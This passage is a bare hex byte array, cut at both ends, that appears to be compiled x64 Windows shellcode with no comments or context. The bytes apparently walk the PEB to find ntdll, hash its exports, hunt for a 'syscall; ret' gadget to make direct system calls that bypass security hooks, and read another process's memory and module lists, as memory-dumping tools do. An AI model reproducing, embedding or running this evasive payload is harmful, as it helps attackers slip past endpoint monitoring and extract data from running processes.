0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x57,0x53,0x48,0x81,0xEC,0x70,0x04,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x10,0x04,0x00,0x00,0x48,0x89,0x95,0x18,0x04,0x00,0x00,0xC7,0x85,0xEC,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xD0,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xE8,0x03,0x00,0x00,0x00,0x01,0x00,0x00,0x48,0x8D,0x95,0xD0,0x01,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x55,0xD0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x8B,0x85,0xE8,0x03,0x00,0x00,0x89,0x45,0xCC,0x8B,0x85,0xE8,0x03,0x00,0x00,0x89,0x45,0xC8,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x2B,0x82,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF2,0xD3,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x2B,0x75,0x3E,0x09,0x48,0x89,0xC1,0xE8,0x00,0xD2,0xFF,0xFF,0x48,0x89,0x85,0xE0,0x03,0x00,0x00,0x48,0x83,0xBD,0xE0,0x03,0x00,0x00,0x00,0x0F,0x84,0x50,0x01,0x00,0x00,0x48,0x8D,0x95,0xD0,0x03,0x00,0x00,0x48,0x8B,0x85,0x10,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x40,0xF9,0xFF,0xFF,0x89,0x85,0xDC,0x03,0x00,0x00,0x83,0xBD,0xDC,0x03,0x00,0x00,0x00,0x0F,0x84,0x2A,0x01,0x00,0x00,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x4C,0x8D,0x45,0xCC,0x48,0x8D,0x8D,0xD0,0x01,0x00,0x00,0x48,0x8D,0x55,0xC4,0x48,0x89,0x54,0x24,0x30,0x48,0x8D,0x55,0xC8,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x55,0xD0,0x48,0x89,0x54,0x24,0x20,0x4C,0x8B,0x95,0xE0,0x03,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x85,0xDC,0x03,0x00,0x00,0x83,0xBD,0xDC,0x03,0x00,0x00,0x00,0x0F,0x84,0xD5,0x00,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC0,0x48,0x8D,0x1C,0x00,0x48,0x8B,0x05,0x84,0xEF,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x78,0xEF,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x18,0x04,0x00,0x00,0x48,0x89,0x02,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x0F,0x84,0x8D,0x00,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC1,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x1B,0x5E,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC2,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x49,0x89,0xD0,0x48,0x8D,0x15,0x62,0x81,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x5D,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC1,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x95,0xD0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC1,0x5D,0x00,0x00,0xC7,0x85,0xEC,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x48,0x85,0xC0,0x74,0x13,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD6,0xEE,0x00,0x00,0xFF,0xD0,0x8B,0x85,0xEC,0x03,0x00,0x00,0x48,0x81,0xC4,0x70,0x04,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC7,0x0D,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xC8,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7B,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB1,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x18,0x48,0x89,0x45,0xF0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD8,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x3B,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x61,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x18,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD0,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xD8,0x0B,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD0,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x05,0x20,0xED,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x20,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x11,0xED,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAC,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0x18,0x8B,0x50,0x40,0x48,0x8B,0x45,0xF8,0x89,0x50,0x10,0x48,0x8B,0x45,0x18,0x8B,0x90,0x80,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x18,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x8B,0x90,0x20,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x1C,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x40,0x48,0xBA,0x00,0x02,0x00,0x00,0x66,0x39,0xD0,0x0F,0x47,0xC2,0x0F,0xB7,0xC0,0x89,0x45,0xF4,0x8B,0x4D,0xF4,0x48,0x8B,0x45,0xF8,0x4C,0x8D,0x40,0x14,0x48,0x8B,0x45,0x18,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x48,0x89,0xC1,0xE8,0xE1,0x0A,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x28,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x89,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x48,0x8B,0x45,0x28,0x41,0xB8,0x04,0x01,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x63,0x5A,0x00,0x00,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x40,0x58,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x60,0x48,0x8B,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x2F,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x81,0xEC,0xA0,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x30,0x03,0x00,0x00,0x48,0x89,0x95,0x38,0x03,0x00,0x00,0x44,0x89,0x85,0x40,0x03,0x00,0x00,0x44,0x89,0x8D,0x48,0x03,0x00,0x00,0x48,0xC7,0x85,0x18,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x95,0x48,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x23,0xFD,0xFF,0xFF,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x83,0xBD,0x10,0x03,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x09,0x02,0x00,0x00,0x48,0xC7,0x85,0x08,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0xC7,0x85,0x06,0x03,0x00,0x00,0x00,0x00,0xC7,0x85,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xB0,0x01,0x00,0x00,0x4C,0x8D,0x45,0xA0,0x48,0x8D,0x8D,0xB0,0x01,0x00,0x00,0x48,0x8B,0x95,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9C,0xFE,0xFF,0xFF,0x89,0x85,0xEC,0x02,0x00,0x00,0x83,0xBD,0xEC,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA6,0x01,0x00,0x00,0x48,0x83,0xBD,0x08,0x03,0x00,0x00,0x00,0x75,0x0E,0x48,0x8B,0x85,0xB8,0x01,0x00,0x00,0x48,0x89,0x85,0x08,0x03,0x00,0x00,0xC7,0x85,0xFC,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x19,0x01,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x55,0xA0,0x48,0x89,0xC1,0x48,0x8B,0x05,0x01,0xEB,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xDD,0x00,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0xAB,0x7C,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC9,0xEA,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0A,0xC7,0x85,0x00,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDC,0xFC,0xFF,0xFF,0x48,0x89,0x85,0xE0,0x02,0x00,0x00,0x48,0x83,0xBD,0xE0,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xDB,0x00,0x00,0x00,0x48,0x83,0xBD,0x18,0x03,0x00,0x00,0x00,0x75,0x10,0x48,0x8B,0x85,0xE0,0x02,0x00,0x00,0x48,0x89,0x85,0x18,0x03,0x00,0x00,0xEB,0x41,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0xEB,0x11,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE0,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x95,0xE0,0x02,0x00,0x00,0x48,0x89,0x10,0x0F,0xB7,0x85,0x06,0x03,0x00,0x00,0x83,0xC0,0x01,0x66,0x89,0x85,0x06,0x03,0x00,0x00,0xEB,0x19,0x83,0x85,0xFC,0x02,0x00,0x00,0x01,0x8B,0x85,0xFC,0x02,0x00,0x00,0x3B,0x85,0x40,0x03,0x00,0x00,0x0F,0x8C,0xD5,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x10,0x03,0x00,0x00,0x48,0x3B,0x85,0x08,0x03,0x00,0x00,0x74,0x15,0x0F,0xBF,0x85,0x06,0x03,0x00,0x00,0x39,0x85,0x40,0x03,0x00,0x00,0x0F,0x8F,0x3D,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0xBD,0x48,0x03,0x00,0x00,0x00,0x74,0x10,0x83,0xBD,0x00,0x03,0x00,0x00,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x07,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x81,0xC4,0xA0,0x03,0x00,0x00,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0xAD,0xDE,0xDE,0xC0,0xC3,0x90,0x0F,0x0B,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xB9,0x0F,0x2A,0x9B,0xCD,0xE8,0x3F,0x06,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xE1,0x0F,0x05,0xC6,0x45,0xE3,0xC3,0x8B,0x45,0x18,0x83,0xE8,0x02,0x89,0x45,0xE4,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x08,0x57,0x00,0x00,0x85,0xC0,0x75,0x09,0x48,0x8B,0x45,0xE8,0xE9,0xD1,0x00,0x00,0x00,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0xE4,0x72,0xC3,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x3E,0x8B,0x55,0xF4,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAA,0x56,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x76,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0xE4,0x72,0xBA,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x41,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC1,0x48,0x89,0xD0,0x48,0x29,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x58,0x56,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x24,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF0,0x3B,0x45,0xE4,0x72,0xB7,0x83,0x45,0xF8,0x01,0x81,0x7D,0xF8,0x25,0x02,0x00,0x00,0x0F,0x86,0x4E,0xFF,0xFF,0xFF,0x48,0x8D,0x05,0xAA,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0xDE,0xC0,0x37,0x13,0xEB,0x28,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x8B,0x55,0xF8,0xC1,0xCA,0x08,0x01,0xD0,0x31,0x45,0xF8,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC7,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xE8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xE0,0x00,0x00,0x00,0x8B,0x05,0x8F,0xA5,0x00,0x00,0x85,0xC0,0x74,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x15,0x04,0x00,0x00,0xC7,0x85,0x64,0xFF,0xFF,0xFF,0x60,0x00,0x00,0x00,0x8B,0x85,0x64,0xFF,0xFF,0xFF,0x65,0x48,0x8B,0x00,0x48,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xC8,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xE8,0xE9,0xA1,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xB0,0x48,0x8B,0x45,0xB0,0x8B,0x00,0x89,0x45,0xAC,0x83,0x7D,0xAC,0x00,0x74,0x4C,0x8B,0x55,0xAC,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x0C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xA0,0x48,0x8B,0x45,0xA0,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6E,0x74,0x64,0x6C,0x75,0x1B,0x48,0x8B,0x45,0xA0,0x48,0x83,0xC0,0x04,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6C,0x2E,0x64,0x6C,0x74,0x24,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x85,0xC0,0x0F,0x85,0x4E,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xFC,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x18,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x98,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x90,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x88,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x1C,0xA4,0x00,0x00,0x48,0x89,0x45,0x80,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x0F,0xB7,0x00,0x66,0x3D,0x5A,0x77,0x75,0x6E,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xB2,0xFD,0xFF,0xFF,0x89,0x03,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0x88,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x98,0x48,0x01,0xD0,0x8B,0x55,0xE0,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x42,0x04,0x83,0x45,0xE0,0x01,0x81,0x7D,0xE0,0x26,0x02,0x00,0x00,0x74,0x10,0x83,0x6D,0xE4,0x01,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x4B,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xE0,0x89,0x05,0x4F,0xA3,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x3C,0x01,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xE9,0x17,0x01,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x8B,0x55,0xDC,0x83,0xC2,0x01,0x89,0xD2,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x52,0x04,0x39,0xC2,0x0F,0x83,0xDE,0x00,0x00,0x00,0x48,0xC7,0x85,0x40,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x48,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x00,0x89,0x85,0x40,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x40,0x04,0x89,0x42,0x04,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x40,0xFF,0xFF,0xFF,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x44,0xFF,0xFF,0xFF,0x89,0x42,0x04,0x83,0x45,0xDC,0x01,0x8B,0x05,0x1A,0xA2,0x00,0x00,0x2B,0x45,0xE0,0x83,0xE8,0x01,0x39,0x45,0xDC,0x0F,0x82,0xD4,0xFE,0xFF,0xFF,0x83,0x45,0xE0,0x01,0x8B,0x05,0x01,0xA2,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x0F,0x82,0xB2,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x80,0x48,0x83,0xC0,0x10,0x8B,0x50,0x04,0x48,0x8B,0x45,0x80,0x8B,0x40,0x04,0x29,0xC2,0x89,0x95,0x74,0xFF,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xEB,0x53,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0xC2,0x48,0x8B,0